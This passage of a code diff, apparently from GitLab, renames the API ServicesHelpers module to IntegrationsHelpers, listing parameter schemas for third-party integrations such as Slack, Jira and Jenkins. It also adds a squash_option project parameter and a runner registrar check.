+ type: String,
+ desc: 'The name of the channel to receive confidential_issues_events notifications'
+ },
+ {
+ required: false,
+ name: :merge_request_channel,
+ type: String,
+ desc: 'The name of the channel to receive merge_requests_events notifications'
+ },
+ {
+ required: false,
+ name: :note_channel,
+ type: String,
+ desc: 'The name of the channel to receive note_events notifications'
+ },
+ {
+ required: false,
+ name: :tag_push_channel,
+ type: String,
+ desc: 'The name of the channel to receive tag_push_events notifications'
+ },
+ {
+ required: false,
+ name: :pipeline_channel,
+ type: String,
+ desc: 'The name of the channel to receive pipeline_events notifications'
+ },
+ {
+ required: false,
+ name: :wiki_page_channel,
+ type: String,
+ desc: 'The name of the channel to receive wiki_page_events notifications'
+ }
+ ].freeze
+ end
+
+ def self.chat_notification_events
+ [
+ {
+ required: false,
+ name: :push_events,
+ type: Boolean,
+ desc: 'Enable notifications for push_events'
+ },
+ {
+ required: false,
+ name: :issues_events,
+ type: Boolean,
+ desc: 'Enable notifications for issues_events'
+ },
+ {
+ required: false,
+ name: :confidential_issues_events,
+ type: Boolean,
+ desc: 'Enable notifications for confidential_issues_events'
+ },
+ {
+ required: false,
+ name: :merge_requests_events,
+ type: Boolean,
+ desc: 'Enable notifications for merge_requests_events'
+ },
+ {
+ required: false,
+ name: :note_events,
+ type: Boolean,
+ desc: 'Enable notifications for note_events'
+ },
+ {
+ required: false,
+ name: :confidential_note_events,
+ type: Boolean,
+ desc: 'Enable notifications for confidential_note_events'
+ },
+ {
+ required: false,
+ name: :tag_push_events,
+ type: Boolean,
+ desc: 'Enable notifications for tag_push_events'
+ },
+ {
+ required: false,
+ name: :pipeline_events,
+ type: Boolean,
+ desc: 'Enable notifications for pipeline_events'
+ },
+ {
+ required: false,
+ name: :wiki_page_events,
+ type: Boolean,
+ desc: 'Enable notifications for wiki_page_events'
+ }
+ ].freeze
+ end
+
+ def self.integrations
+ {
+ 'asana' => [
+ {
+ required: true,
+ name: :api_key,
+ type: String,
+ desc: 'User API token'
+ },
+ {
+ required: false,
+ name: :restrict_to_branch,
+ type: String,
+ desc: 'Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches'
+ }
+ ],
+ 'assembla' => [
+ {
+ required: true,
+ name: :token,
+ type: String,
+ desc: 'The authentication token'
+ },
+ {
+ required: false,
+ name: :subdomain,
+ type: String,
+ desc: 'Subdomain setting'
+ }
+ ],
+ 'bamboo' => [
+ {
+ required: true,
+ name: :bamboo_url,
+ type: String,
+ desc: 'Bamboo root URL like https://bamboo.example.com'
+ },
+ {
+ required: true,
+ name: :build_key,
+ type: String,
+ desc: 'Bamboo build plan key like'
+ },
+ {
+ required: true,
+ name: :username,
+ type: String,
+ desc: 'A user with API access, if applicable'
+ },
+ {
+ required: true,
+ name: :password,
+ type: String,
+ desc: 'Password of the user'
+ }
+ ],
+ 'bugzilla' => [
+ {
+ required: true,
+ name: :new_issue_url,
+ type: String,
+ desc: 'New issue URL'
+ },
+ {
+ required: true,
+ name: :issues_url,
+ type: String,
+ desc: 'Issues URL'
+ },
+ {
+ required: true,
+ name: :project_url,
+ type: String,
+ desc: 'Project URL'
+ }
+ ],
+ 'buildkite' => [
+ {
+ required: true,
+ name: :token,
+ type: String,
+ desc: 'Buildkite project GitLab token'
+ },
+ {
+ required: true,
+ name: :project_url,
+ type: String,
+ desc: 'The Buildkite pipeline URL'
+ },
+ {
+ required: false,
+ name: :enable_ssl_verification,
+ type: Boolean,
+ desc: 'DEPRECATED: This parameter has no effect since SSL verification will always be enabled'
+ }
+ ],
+ 'campfire' => [
+ {
+ required: true,
+ name: :token,
+ type: String,
+ desc: 'Campfire token'
+ },
+ {
+ required: false,
+ name: :subdomain,
+ type: String,
+ desc: 'Campfire subdomain'
+ },
+ {
+ required: false,
+ name: :room,
+ type: String,
+ desc: 'Campfire room'
+ }
+ ],
+ 'confluence' => [
+ {
+ required: true,
+ name: :confluence_url,
+ type: String,
+ desc: 'The URL of the Confluence Cloud Workspace hosted on atlassian.net'
+ }
+ ],
+ 'custom-issue-tracker' => [
+ {
+ required: true,
+ name: :new_issue_url,
+ type: String,
+ desc: 'New issue URL'
+ },
+ {
+ required: true,
+ name: :issues_url,
+ type: String,
+ desc: 'Issues URL'
+ },
+ {
+ required: true,
+ name: :project_url,
+ type: String,
+ desc: 'Project URL'
+ }
+ ],
+ 'datadog' => [
+ {
+ required: true,
+ name: :api_key,
+ type: String,
+ desc: 'API key used for authentication with Datadog'
+ },
+ {
+ required: false,
+ name: :datadog_site,
+ type: String,
+ desc: 'Choose the Datadog site to send data to. Set to "datadoghq.eu" to send data to the EU site'
+ },
+ {
+ required: false,
+ name: :api_url,
+ type: String,
+ desc: '(Advanced) Define the full URL for your Datadog site directly'
+ },
+ {
+ required: false,
+ name: :datadog_service,
+ type: String,
+ desc: 'Name of this GitLab instance that all data will be tagged with'
+ },
+ {
+ required: false,
+ name: :datadog_env,
+ type: String,
+ desc: 'The environment tag that traces will be tagged with'
+ }
+ ],
+ 'discord' => [
+ {
+ required: true,
+ name: :webhook,
+ type: String,
+ desc: 'Discord webhook. e.g. https://discordapp.com/api/webhooks/…'
+ }
+ ],
+ 'drone-ci' => [
+ {
+ required: true,
+ name: :token,
+ type: String,
+ desc: 'Drone CI token'
+ },
+ {
+ required: true,
+ name: :drone_url,
+ type: String,
+ desc: 'Drone CI URL'
+ },
+ {
+ required: false,
+ name: :enable_ssl_verification,
+ type: Boolean,
+ desc: 'Enable SSL verification for communication'
+ }
+ ],
+ 'emails-on-push' => [
+ {
+ required: true,
+ name: :recipients,
+ type: String,
+ desc: 'Comma-separated list of recipient email addresses'
+ },
+ {
+ required: false,
+ name: :disable_diffs,
+ type: Boolean,
+ desc: 'Disable code diffs'
+ },
+ {
+ required: false,
+ name: :send_from_committer_email,
+ type: Boolean,
+ desc: 'Send from committer'
+ },
+ {
+ required: false,
+ name: :branches_to_be_notified,
+ type: String,
+ desc: 'Branches for which notifications are to be sent'
+ }
+ ],
+ 'external-wiki' => [
+ {
+ required: true,
+ name: :external_wiki_url,
+ type: String,
+ desc: 'The URL of the external wiki'
+ }
+ ],
+ 'flowdock' => [
+ {
+ required: true,
+ name: :token,
+ type: String,
+ desc: 'Flowdock token'
+ }
+ ],
+ 'hangouts-chat' => [
+ {
+ required: true,
+ name: :webhook,
+ type: String,
+ desc: 'The Hangouts Chat webhook. e.g. https://chat.googleapis.com/v1/spaces…'
+ },
+ {
+ required: false,
+ name: :branches_to_be_notified,
+ type: String,
+ desc: 'Branches for which notifications are to be sent'
+ },
+ chat_notification_events
+ ].flatten,
+ 'irker' => [
+ {
+ required: true,
+ name: :recipients,
+ type: String,
+ desc: 'Recipients/channels separated by whitespaces'
+ },
+ {
+ required: false,
+ name: :default_irc_uri,
+ type: String,
+ desc: 'Default: irc://irc.network.net:6697'
+ },
+ {
+ required: false,
+ name: :server_host,
+ type: String,
+ desc: 'Server host. Default localhost'
+ },
+ {
+ required: false,
+ name: :server_port,
+ type: Integer,
+ desc: 'Server port. Default 6659'
+ },
+ {
+ required: false,
+ name: :colorize_messages,
+ type: Boolean,
+ desc: 'Colorize messages'
+ }
+ ],
+ 'jenkins' => [
+ {
+ required: true,
+ name: :jenkins_url,
+ type: String,
+ desc: 'Jenkins root URL like https://jenkins.example.com'
+ },
+ {
+ required: true,
+ name: :project_name,
+ type: String,
+ desc: 'The URL-friendly project name. Example: my_project_name'
+ },
+ {
+ required: false,
+ name: :username,
+ type: String,
+ desc: 'A user with access to the Jenkins server, if applicable'
+ },
+ {
+ required: false,
+ name: :password,
+ type: String,
+ desc: 'The password of the user'
+ }
+ ],
+ 'jira' => [
+ {
+ required: true,
+ name: :url,
+ type: String,
+ desc: 'The base URL to the Jira instance web interface which is being linked to this GitLab project. E.g., https://jira.example.com'
+ },
+ {
+ required: false,
+ name: :api_url,
+ type: String,
+ desc: 'The base URL to the Jira instance API. Web URL value will be used if not set. E.g., https://jira-api.example.com'
+ },
+ {
+ required: true,
+ name: :username,
+ type: String,
+ desc: 'The username of the user created to be used with GitLab/Jira'
+ },
+ {
+ required: true,
+ name: :password,
+ type: String,
+ desc: 'The password of the user created to be used with GitLab/Jira'
+ },
+ {
+ required: false,
+ name: :jira_issue_transition_automatic,
+ type: Boolean,
+ desc: 'Enable automatic issue transitions'
+ },
+ {
+ required: false,
+ name: :jira_issue_transition_id,
+ type: String,
+ desc: 'The ID of one or more transitions for custom issue transitions'
+ },
+ {
+ required: false,
+ name: :comment_on_event_enabled,
+ type: Boolean,
+ desc: 'Enable comments inside Jira issues on each GitLab event (commit / merge request)'
+ }
+ ],
+ 'mattermost-slash-commands' => [
+ {
+ required: true,
+ name: :token,
+ type: String,
+ desc: 'The Mattermost token'
+ }
+ ],
+ 'slack-slash-commands' => [
+ {
+ required: true,
+ name: :token,
+ type: String,
+ desc: 'The Slack token'
+ }
+ ],
+ 'packagist' => [
+ {
+ required: true,
+ name: :username,
+ type: String,
+ desc: 'The username'
+ },
+ {
+ required: true,
+ name: :token,
+ type: String,
+ desc: 'The Packagist API token'
+ },
+ {
+ required: false,
+ name: :server,
+ type: String,
+ desc: 'The server'
+ }
+ ],
+ 'pipelines-email' => [
+ {
+ required: true,
+ name: :recipients,
+ type: String,
+ desc: 'Comma-separated list of recipient email addresses'
+ },
+ {
+ required: false,
+ name: :notify_only_broken_pipelines,
+ type: Boolean,
+ desc: 'Notify only broken pipelines'
+ },
+ {
+ required: false,
+ name: :branches_to_be_notified,
+ type: String,
+ desc: 'Branches for which notifications are to be sent'
+ }
+ ],
+ 'pivotaltracker' => [
+ {
+ required: true,
+ name: :token,
+ type: String,
+ desc: 'The Pivotaltracker token'
+ },
+ {
+ required: false,
+ name: :restrict_to_branch,
+ type: String,
+ desc: 'Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches.'
+ }
+ ],
+ 'prometheus' => [
+ {
+ required: true,
+ name: :api_url,
+ type: String,
+ desc: 'Prometheus API Base URL, like http://prometheus.example.com/'
+ },
+ {
+ required: true,
+ name: :google_iap_audience_client_id,
+ type: String,
+ desc: 'Client ID of the IAP-secured resource (looks like IAP_CLIENT_ID.apps.googleusercontent.com)'
+ },
+ {
+ required: true,
+ name: :google_iap_service_account_json,
+ type: String,
+ desc: 'Contents of the credentials.json file of your service account, like: { "type": "service_account", "project_id": ... }'
+ }
+ ],
+ 'pushover' => [
+ {
+ required: true,
+ name: :api_key,
+ type: String,
+ desc: 'The application key'
+ },
+ {
+ required: true,
+ name: :user_key,
+ type: String,
+ desc: 'The user key'
+ },
+ {
+ required: true,
+ name: :priority,
+ type: String,
+ desc: 'The priority'
+ },
+ {
+ required: true,
+ name: :device,
+ type: String,
+ desc: 'Leave blank for all active devices'
+ },
+ {
+ required: true,
+ name: :sound,
+ type: String,
+ desc: 'The sound of the notification'
+ }
+ ],
+ 'redmine' => [
+ {
+ required: true,
+ name: :new_issue_url,
+ type: String,
+ desc: 'The new issue URL'
+ },
+ {
+ required: true,
+ name: :project_url,
+ type: String,
+ desc: 'The project URL'
+ },
+ {
+ required: true,
+ name: :issues_url,
+ type: String,
+ desc: 'The issues URL'
+ }
+ ],
+ 'ewm' => [
+ {
+ required: true,
+ name: :new_issue_url,
+ type: String,
+ desc: 'New Issue URL'
+ },
+ {
+ required: true,
+ name: :project_url,
+ type: String,
+ desc: 'Project URL'
+ },
+ {
+ required: true,
+ name: :issues_url,
+ type: String,
+ desc: 'Issues URL'
+ }
+ ],
+ 'youtrack' => [
+ {
+ required: true,
+ name: :project_url,
+ type: String,
+ desc: 'The project URL'
+ },
+ {
+ required: true,
+ name: :issues_url,
+ type: String,
+ desc: 'The issues URL'
+ }
+ ],
+ 'slack' => [
+ chat_notification_settings,
+ chat_notification_flags,
+ chat_notification_channels,
+ chat_notification_events
+ ].flatten,
+ 'microsoft-teams' => [
+ {
+ required: true,
+ name: :webhook,
+ type: String,
+ desc: 'The Microsoft Teams webhook. e.g. https://outlook.office.com/webhook/…'
+ },
+ {
+ required: false,
+ name: :branches_to_be_notified,
+ type: String,
+ desc: 'Branches for which notifications are to be sent'
+ },
+ chat_notification_flags
+ ].flatten,
+ 'mattermost' => [
+ chat_notification_settings,
+ chat_notification_flags,
+ chat_notification_channels,
+ chat_notification_events
+ ].flatten,
+ 'teamcity' => [
+ {
+ required: true,
+ name: :teamcity_url,
+ type: String,
+ desc: 'TeamCity root URL like https://teamcity.example.com'
+ },
+ {
+ required: true,
+ name: :build_type,
+ type: String,
+ desc: 'Build configuration ID'
+ },
+ {
+ required: true,
+ name: :username,
+ type: String,
+ desc: 'A user with permissions to trigger a manual build'
+ },
+ {
+ required: true,
+ name: :password,
+ type: String,
+ desc: 'The password of the user'
+ }
+ ],
+ 'unify-circuit' => [
+ {
+ required: true,
+ name: :webhook,
+ type: String,
+ desc: 'The Unify Circuit webhook. e.g. https://circuit.com/rest/v2/webhooks/incoming/…'
+ },
+ chat_notification_events
+ ].flatten,
+ 'webex-teams' => [
+ {
+ required: true,
+ name: :webhook,
+ type: String,
+ desc: 'The Webex Teams webhook. For example, https://api.ciscospark.com/v1/webhooks/incoming/...'
+ },
+ chat_notification_events
+ ].flatten
+ }
+ end
+
+ def self.integration_classes
+ [
+ ::Integrations::Asana,
+ ::Integrations::Assembla,
+ ::Integrations::Bamboo,
+ ::Integrations::Bugzilla,
+ ::Integrations::Buildkite,
+ ::Integrations::Campfire,
+ ::Integrations::Confluence,
+ ::Integrations::CustomIssueTracker,
+ ::Integrations::Datadog,
+ ::Integrations::Discord,
+ ::Integrations::DroneCi,
+ ::Integrations::EmailsOnPush,
+ ::Integrations::Ewm,
+ ::Integrations::ExternalWiki,
+ ::Integrations::Flowdock,
+ ::Integrations::HangoutsChat,
+ ::Integrations::Irker,
+ ::Integrations::Jenkins,
+ ::Integrations::Jira,
+ ::Integrations::Mattermost,
+ ::Integrations::MattermostSlashCommands,
+ ::Integrations::MicrosoftTeams,
+ ::Integrations::Packagist,
+ ::Integrations::PipelinesEmail,
+ ::Integrations::Pivotaltracker,
+ ::Integrations::Prometheus,
+ ::Integrations::Pushover,
+ ::Integrations::Redmine,
+ ::Integrations::Slack,
+ ::Integrations::SlackSlashCommands,
+ ::Integrations::Teamcity,
+ ::Integrations::Youtrack
+ ]
+ end
+
+ def self.development_integration_classes
+ [
+ ::Integrations::MockCi,
+ ::Integrations::MockMonitoring
+ ]
+ end
+ end
+ end
+end
+
+API::Helpers::IntegrationsHelpers.prepend_mod_with('API::Helpers::IntegrationsHelpers')
diff --git a/lib/api/helpers/projects_helpers.rb b/lib/api/helpers/projects_helpers.rb
index 69a83043617..272452bd8db 100644
--- a/lib/api/helpers/projects_helpers.rb
+++ b/lib/api/helpers/projects_helpers.rb
@@ -66,6 +66,7 @@ module API
optional :autoclose_referenced_issues, type: Boolean, desc: 'Flag indication if referenced issues auto-closing is enabled'
optional :repository_storage, type: String, desc: 'Which storage shard the repository is on. Available only to admins'
optional :packages_enabled, type: Boolean, desc: 'Enable project packages feature'
+ optional :squash_option, type: String, values: %w(never always default_on default_off), desc: 'Squash default for project. One of `never`, `always`, `default_on`, or `default_off`.'
end
params :optional_project_params_ee do
@@ -145,6 +146,7 @@ module API
:request_access_enabled,
:resolve_outdated_diff_discussions,
:restrict_user_defined_variables,
+ :squash_option,
:shared_runners_enabled,
:snippets_access_level,
:tag_list,
diff --git a/lib/api/helpers/runner.rb b/lib/api/helpers/runner.rb
index 9ec9b5e1e35..a022d1a56ac 100644
--- a/lib/api/helpers/runner.rb
+++ b/lib/api/helpers/runner.rb
@@ -14,6 +14,10 @@ module API
ActiveSupport::SecurityUtils.secure_compare(params[:token], Gitlab::CurrentSettings.runners_registration_token)
end
+ def runner_registrar_valid?(type)
+ Feature.disabled?(:runner_registration_control) || Gitlab::CurrentSettings.valid_runner_registrars.include?(type)
+ end
+
def authenticate_runner!
forbidden! unless current_runner
diff --git a/lib/api/helpers/services_helpers.rb b/lib/api/helpers/services_helpers.rb
deleted file mode 100644
index ca13ea0789a..00000000000
--- a/lib/api/helpers/services_helpers.rb
+++ /dev/null
@@ -1,822 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Helpers
- # Helpers module for API::Services
- #
- # The data structures inside this model are returned using class methods,
- # allowing EE to extend them where necessary.
- module ServicesHelpers
- def self.chat_notification_settings
- [
- {
- required: true,
- name: :webhook,
- type: String,
- desc: 'The chat webhook'
- },
- {
- required: false,
- name: :username,
- type: String,
- desc: 'The chat username'
- },
- {
- required: false,
- name: :channel,
- type: String,
- desc: 'The default chat channel'
- },
- {
- required: false,
- name: :branches_to_be_notified,
- type: String,
- desc: 'Branches for which notifications are to be sent'
- }
- ].freeze
- end
-
- def self.chat_notification_flags
- [
- {
- required: false,
- name: :notify_only_broken_pipelines,
- type: Boolean,
- desc: 'Send notifications for broken pipelines'
- }
- ].freeze
- end
-
- def self.chat_notification_channels
- [
- {
- required: false,
- name: :push_channel,
- type: String,
- desc: 'The name of the channel to receive push_events notifications'
- },
- {
- required: false,
- name: :issue_channel,
- type: String,
- desc: 'The name of the channel to receive issues_events notifications'
- },
- {
- required: false,
- name: :confidential_issue_channel,
- type: String,
- desc: 'The name of the channel to receive confidential_issues_events notifications'
- },
- {
- required: false,
- name: :merge_request_channel,
- type: String,
- desc: 'The name of the channel to receive merge_requests_events notifications'
- },
- {
- required: false,
- name: :note_channel,
- type: String,
- desc: 'The name of the channel to receive note_events notifications'
- },
- {
- required: false,
- name: :tag_push_channel,
- type: String,
- desc: 'The name of the channel to receive tag_push_events notifications'
- },
- {
- required: false,
- name: :pipeline_channel,
- type: String,
- desc: 'The name of the channel to receive pipeline_events notifications'
- },
- {
- required: false,
- name: :wiki_page_channel,
- type: String,
- desc: 'The name of the channel to receive wiki_page_events notifications'
- }
- ].freeze
- end
-
- def self.chat_notification_events
- [
- {
- required: false,
- name: :push_events,
- type: Boolean,
- desc: 'Enable notifications for push_events'
- },
- {
- required: false,
- name: :issues_events,
- type: Boolean,
- desc: 'Enable notifications for issues_events'
- },
- {
- required: false,
- name: :confidential_issues_events,
- type: Boolean,
- desc: 'Enable notifications for confidential_issues_events'
- },
- {
- required: false,
- name: :merge_requests_events,
- type: Boolean,
- desc: 'Enable notifications for merge_requests_events'
- },
- {
- required: false,
- name: :note_events,
- type: Boolean,
- desc: 'Enable notifications for note_events'
- },
- {
- required: false,
- name: :confidential_note_events,
- type: Boolean,
- desc: 'Enable notifications for confidential_note_events'
- },
- {
- required: false,
- name: :tag_push_events,
- type: Boolean,
- desc: 'Enable notifications for tag_push_events'
- },
- {
- required: false,
- name: :pipeline_events,
- type: Boolean,
- desc: 'Enable notifications for pipeline_events'
- },
- {
- required: false,
- name: :wiki_page_events,
- type: Boolean,
- desc: 'Enable notifications for wiki_page_events'
- }
- ].freeze
- end
-
- def self.services
- {
- 'asana' => [
- {
- required: true,
- name: :api_key,
- type: String,
- desc: 'User API token'
- },
- {
- required: false,
- name: :restrict_to_branch,
- type: String,
- desc: 'Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches'
- }
- ],
- 'assembla' => [
- {
- required: true,
- name: :token,
- type: String,
- desc: 'The authentication token'
- },
- {
- required: false,
- name: :subdomain,
- type: String,
- desc: 'Subdomain setting'
- }
- ],
- 'bamboo' => [
- {
- required: true,
- name: :bamboo_url,
- type: String,
- desc: 'Bamboo root URL like https://bamboo.example.com'
- },
- {
- required: true,
- name: :build_key,
- type: String,
- desc: 'Bamboo build plan key like'
- },
- {
- required: true,
- name: :username,
- type: String,
- desc: 'A user with API access, if applicable'
- },
- {
- required: true,
- name: :password,
- type: String,
- desc: 'Password of the user'
- }
- ],
- 'bugzilla' => [
- {
- required: true,
- name: :new_issue_url,
- type: String,
- desc: 'New issue URL'
- },
- {
- required: true,
- name: :issues_url,
- type: String,
- desc: 'Issues URL'
- },
- {
- required: true,
- name: :project_url,
- type: String,
- desc: 'Project URL'
- }
- ],
- 'buildkite' => [
- {
- required: true,
- name: :token,
- type: String,
- desc: 'Buildkite project GitLab token'
- },
- {
- required: true,
- name: :project_url,
- type: String,
- desc: 'The Buildkite pipeline URL'
- },
- {
- required: false,
- name: :enable_ssl_verification,
- type: Boolean,
- desc: 'DEPRECATED: This parameter has no effect since SSL verification will always be enabled'
- }
- ],
- 'campfire' => [
- {
- required: true,
- name: :token,
- type: String,
- desc: 'Campfire token'
- },
- {
- required: false,
- name: :subdomain,
- type: String,
- desc: 'Campfire subdomain'
- },
- {
- required: false,
- name: :room,
- type: String,
- desc: 'Campfire room'
- }
- ],
- 'confluence' => [
- {
- required: true,
- name: :confluence_url,
- type: String,
- desc: 'The URL of the Confluence Cloud Workspace hosted on atlassian.net'
- }
- ],
- 'custom-issue-tracker' => [
- {
- required: true,
- name: :new_issue_url,
- type: String,
- desc: 'New issue URL'
- },
- {
- required: true,
- name: :issues_url,
- type: String,
- desc: 'Issues URL'
- },
- {
- required: true,
- name: :project_url,
- type: String,
- desc: 'Project URL'
- }
- ],
- 'datadog' => [
- {
- required: true,
- name: :api_key,
- type: String,
- desc: 'API key used for authentication with Datadog'
- },
- {
- required: false,
- name: :datadog_site,
- type: String,
- desc: 'Choose the Datadog site to send data to. Set to "datadoghq.eu" to send data to the EU site'
- },
- {
- required: false,
- name: :api_url,
- type: String,
- desc: '(Advanced) Define the full URL for your Datadog site directly'
- },
- {
- required: false,
- name: :datadog_service,
- type: String,
- desc: 'Name of this GitLab instance that all data will be tagged with'
- },
- {
- required: false,
- name: :datadog_env,
- type: String,
- desc: 'The environment tag that traces will be tagged with'
- }
- ],
- 'discord' => [
- {
- required: true,
- name: :webhook,
- type: String,
- desc: 'Discord webhook. e.g. https://discordapp.com/api/webhooks/…'
- }
- ],
- 'drone-ci' => [
- {
- required: true,
- name: :token,
- type: String,
- desc: 'Drone CI token'
- },
- {
- required: true,
- name: :drone_url,
- type: String,
- desc: 'Drone CI URL'
- },
- {
- required: false,
- name: :enable_ssl_verification,
- type: Boolean,
- desc: 'Enable SSL verification for communication'
- }
- ],
- 'emails-on-push' => [
- {
- required: true,
- name: :recipients,
- type: String,
- desc: 'Comma-separated list of recipient email addresses'
- },
- {
- required: false,
- name: :disable_diffs,
- type: Boolean,
- desc: 'Disable code diffs'
- },
- {
- required: false,
- name: :send_from_committer_email,
- type: Boolean,
- desc: 'Send from committer'
- },
- {
- required: false,
- name: :branches_to_be_notified,
- type: String,
- desc: 'Branches for which notifications are to be sent'
- }
- ],
- 'external-wiki' => [
- {
- required: true,
- name: :external_wiki_url,
- type: String,
- desc: 'The URL of the external wiki'
- }
- ],
- 'flowdock' => [
- {
- required: true,
- name: :token,
- type: String,
- desc: 'Flowdock token'
- }
- ],
- 'hangouts-chat' => [
- {
- required: true,
- name: :webhook,
- type: String,
- desc: 'The Hangouts Chat webhook. e.g. https://chat.googleapis.com/v1/spaces…'
- },
- {
- required: false,
- name: :branches_to_be_notified,
- type: String,
- desc: 'Branches for which notifications are to be sent'
- },
- chat_notification_events
- ].flatten,
- 'irker' => [
- {
- required: true,
- name: :recipients,
- type: String,
- desc: 'Recipients/channels separated by whitespaces'
- },
- {
- required: false,
- name: :default_irc_uri,
- type: String,
- desc: 'Default: irc://irc.network.net:6697'
- },
- {
- required: false,
- name: :server_host,
- type: String,
- desc: 'Server host. Default localhost'
- },
- {
- required: false,
- name: :server_port,
- type: Integer,
- desc: 'Server port. Default 6659'
- },
- {
- required: false,
- name: :colorize_messages,
- type: Boolean,
- desc: 'Colorize messages'
- }
- ],
- 'jenkins' => [
- {
- required: true,
- name: :jenkins_url,
- type: String,
- desc: 'Jenkins root URL like https://jenkins.example.com'
- },
- {
- required: true,
- name: :project_name,
- type: String,
- desc: 'The URL-friendly project name. Example: my_project_name'
- },
- {
- required: false,
- name: :username,
- type: String,
- desc: 'A user with access to the Jenkins server, if applicable'
- },
- {
- required: false,
- name: :password,
- type: String,
- desc: 'The password of the user'
- }
- ],
- 'jira' => [
- {
- required: true,
- name: :url,
- type: String,
- desc: 'The base URL to the Jira instance web interface which is being linked to this GitLab project. E.g., https://jira.example.com'
- },
- {
- required: false,
- name: :api_url,
- type: String,
- desc: 'The base URL to the Jira instance API. Web URL value will be used if not set. E.g., https://jira-api.example.com'
- },
- {
- required: true,
- name: :username,
- type: String,
- desc: 'The username of the user created to be used with GitLab/Jira'
- },
- {
- required: true,
- name: :password,
- type: String,
- desc: 'The password of the user created to be used with GitLab/Jira'
- },
- {
- required: false,
- name: :jira_issue_transition_automatic,
- type: Boolean,
- desc: 'Enable automatic issue transitions'
- },
- {
- required: false,
- name: :jira_issue_transition_id,
- type: String,
- desc: 'The ID of one or more transitions for custom issue transitions'
- },
- {
- required: false,
- name: :comment_on_event_enabled,
- type: Boolean,
- desc: 'Enable comments inside Jira issues on each GitLab event (commit / merge request)'
- }
- ],
- 'mattermost-slash-commands' => [
- {
- required: true,
- name: :token,
- type: String,
- desc: 'The Mattermost token'
- }
- ],
- 'slack-slash-commands' => [
- {
- required: true,
- name: :token,
- type: String,
- desc: 'The Slack token'
- }
- ],
- 'packagist' => [
- {
- required: true,
- name: :username,
- type: String,
- desc: 'The username'
- },
- {
- required: true,
- name: :token,
- type: String,
- desc: 'The Packagist API token'
- },
- {
- required: false,
- name: :server,
- type: String,
- desc: 'The server'
- }
- ],
- 'pipelines-email' => [
- {
- required: true,
- name: :recipients,
- type: String,
- desc: 'Comma-separated list of recipient email addresses'
- },
- {
- required: false,
- name: :notify_only_broken_pipelines,
- type: Boolean,
- desc: 'Notify only broken pipelines'
- },
- {
- required: false,
- name: :branches_to_be_notified,
- type: String,
- desc: 'Branches for which notifications are to be sent'
- }
- ],
- 'pivotaltracker' => [
- {
- required: true,
- name: :token,
- type: String,
- desc: 'The Pivotaltracker token'
- },
- {
- required: false,
- name: :restrict_to_branch,
- type: String,
- desc: 'Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches.'
- }
- ],
- 'prometheus' => [
- {
- required: true,
- name: :api_url,
- type: String,
- desc: 'Prometheus API Base URL, like http://prometheus.example.com/'
- },
- {
- required: true,
- name: :google_iap_audience_client_id,
- type: String,
- desc: 'Client ID of the IAP-secured resource (looks like IAP_CLIENT_ID.apps.googleusercontent.com)'
- },
- {
- required: true,
- name: :google_iap_service_account_json,
- type: String,
- desc: 'Contents of the credentials.json file of your service account, like: { "type": "service_account", "project_id": ... }'
- }
- ],
- 'pushover' => [
- {
- required: true,
- name: :api_key,
- type: String,
- desc: 'The application key'
- },
- {
- required: true,
- name: :user_key,
- type: String,
- desc: 'The user key'
- },
- {
- required: true,
- name: :priority,
- type: String,
- desc: 'The priority'
- },
- {
- required: true,
- name: :device,
- type: String,
- desc: 'Leave blank for all active devices'
- },
- {
- required: true,
- name: :sound,
- type: String,
- desc: 'The sound of the notification'
- }
- ],
- 'redmine' => [
- {
- required: true,
- name: :new_issue_url,
- type: String,
- desc: 'The new issue URL'
- },
- {
- required: true,
- name: :project_url,
- type: String,
- desc: 'The project URL'
- },
- {
- required: true,
- name: :issues_url,
- type: String,
- desc: 'The issues URL'
- }
- ],
- 'ewm' => [
- {
- required: true,
- name: :new_issue_url,
- type: String,
- desc: 'New Issue URL'
- },
- {
- required: true,
- name: :project_url,
- type: String,
- desc: 'Project URL'
- },
- {
- required: true,
- name: :issues_url,
- type: String,
- desc: 'Issues URL'
- }
- ],
- 'youtrack' => [
- {
- required: true,
- name: :project_url,
- type: String,
- desc: 'The project URL'
- },
- {
- required: true,
- name: :issues_url,
- type: String,
- desc: 'The issues URL'
- }
- ],
- 'slack' => [
- chat_notification_settings,
- chat_notification_flags,
- chat_notification_channels,
- chat_notification_events
- ].flatten,
- 'microsoft-teams' => [
- {
- required: true,
- name: :webhook,
- type: String,
- desc: 'The Microsoft Teams webhook. e.g. https://outlook.office.com/webhook/…'
- },
- {
- required: false,
- name: :branches_to_be_notified,
- type: String,
- desc: 'Branches for which notifications are to be sent'
- },
- chat_notification_flags
- ].flatten,
- 'mattermost' => [
- chat_notification_settings,
- chat_notification_flags,
- chat_notification_channels,
- chat_notification_events
- ].flatten,
- 'teamcity' => [
- {
- required: true,
- name: :teamcity_url,
- type: String,
- desc: 'TeamCity root URL like https://teamcity.example.com'
- },
- {
- required: true,
- name: :build_type,
- type: String,
- desc: 'Build configuration ID'
- },
- {
- required: true,
- name: :username,
- type: String,
- desc: 'A user with permissions to trigger a manual build'
- },
- {
- required: true,
- name: :password,
- type: String,
- desc: 'The password of the user'
- }
- ],
- 'unify-circuit' => [
- {
- required: true,
- name: :webhook,
- type: String,
- desc: 'The Unify Circuit webhook. e.g. https://circuit.com/rest/v2/webhooks/incoming/…'
- },
- chat_notification_events
- ].flatten,
- 'webex-teams' => [
- {
- required: true,
- name: :webhook,
- type: String,
- desc: 'The Webex Teams webhook. For example, https://api.ciscospark.com/v1/webhooks/incoming/...'
- },
- chat_notification_events
- ].flatten
- }
- end
-
- def self.service_classes
- [
- ::Integrations::Asana,
- ::Integrations::Assembla,
- ::Integrations::Bamboo,
- ::Integrations::Bugzilla,
- ::Integrations::Buildkite,
- ::Integrations::Campfire,
- ::Integrations::Confluence,
- ::Integrations::CustomIssueTracker,
- ::Integrations::Datadog,
- ::Integrations::Discord,
- ::Integrations::DroneCi,
- ::Integrations::EmailsOnPush,
- ::Integrations::Ewm,
- ::Integrations::ExternalWiki,
- ::Integrations::Flowdock,
- ::Integrations::HangoutsChat,
- ::Integrations::Irker,
- ::Integrations::Jenkins,
- ::Integrations::Jira,
- ::Integrations::Mattermost,
- ::Integrations::MattermostSlashCommands,
- ::Integrations::MicrosoftTeams,
- ::Integrations::Packagist,
- ::Integrations::PipelinesEmail,
- ::Integrations::Pivotaltracker,
- ::Integrations::Pushover,
- ::Integrations::Redmine,
- ::Integrations::Slack,
